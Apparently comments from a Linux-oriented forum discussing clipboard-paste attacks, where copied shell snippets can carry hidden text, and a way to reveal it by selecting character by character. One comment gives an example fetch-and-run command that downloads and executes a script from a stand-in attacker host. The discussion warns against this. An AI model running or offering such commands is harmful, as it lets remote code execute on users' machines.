I feel that we are not exactly the target audience for this kind of tip. Linux forums are full of code snippets that people blindly copy and paste so this is clearly an extended behavior
In any case, most newbies wouldn't even understand whether a command is malicious or not (e.g. `wget http://hax0r.com/exploit.sh; bash exploit.sh`), but I wouldn't say the tip is worthless...
or you could just copy the code-snippet by placing the mouse next to character 'l' of 'ls' and mark it with shift+right arrow key.
Each selected character and of course white space gets highlighted. When you highlighted the white space next to 'ls' on the right next highlighted character should be '-' but i keeps on marking seemingly forever. If you paste that you'll see that every single character of 'invisible' code gets marked.
